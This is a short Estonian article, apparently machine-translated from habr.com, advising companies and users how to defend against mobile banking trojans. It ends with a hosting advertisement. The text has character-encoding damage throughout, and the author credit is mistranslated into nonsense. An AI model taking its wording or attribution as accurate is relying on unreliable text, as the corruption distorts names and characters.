Kaitsmiseks mobiilsete troojalaste ohu eest peaksid ettevÔtted kasutama kompleksseid lahendusi, mis vÔimaldavad jÀlgida ja hoiatada pahatahtlikest tegevustest ilma, et kasutajad peaksid lisatarkvara seadmetesse installima.

Selleks tuleb troojalaste avastamise signatuurimeetodeid tugevdada kĂ€itumise analĂŒĂŒsi tehnoloogiate abil nii kliendi kui ka rakenduse enda kohta. Kaitse peaks samuti sisaldama seadmete identifitseerimise funktsiooni digitaalsete sĂ”rmejĂ€lgede tehnologiat kasutades, mis vĂ”imaldab mĂ”ista, kui kontot kasutatakse ebatĂŒĂŒpilisest seadmest ja see on juba jĂ”udnud petiste kĂ€tte.

Oluline on, et oleks vĂ”imalik teostada ristkanalite analĂŒĂŒsi, mis vĂ”imaldab ettevĂ”tetel jĂ€lgida riske, mis tekivad mitte ainult interneti, vaid ka mobiili kanalil, nĂ€iteks mobiilipanga rakendustes, krĂŒptorahaga tehingutes ja muudes, kus vĂ”ib toimuda rahatehing.

Ohutusreeglid kasutajatele:

  • Ă€rge installige Androidi seadme rakendusi mingitest allikatest, vĂ€lja arvatud Google Play, ja pöörake erilist tĂ€helepanu rakenduse nĂ”utud Ă”igustele;
  • installige regulaarselt Androidi operatsioonisĂŒsteemi uuendusi.
  • pöörama tĂ€helepanu ĂŒles laaditavate failide ekstensiotele;
  • Ă€rge kĂŒlastage kahtlaseid resursse;
  • Ă€rge klĂ”psake SMS-sĂ”numites saadud linkidele.

Osalusel Rogachevi seemned, madalamal tasemel kahjurite uurimise spetsialist Computer Forensics Lab Group-IB.

Allikas: habr.com

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster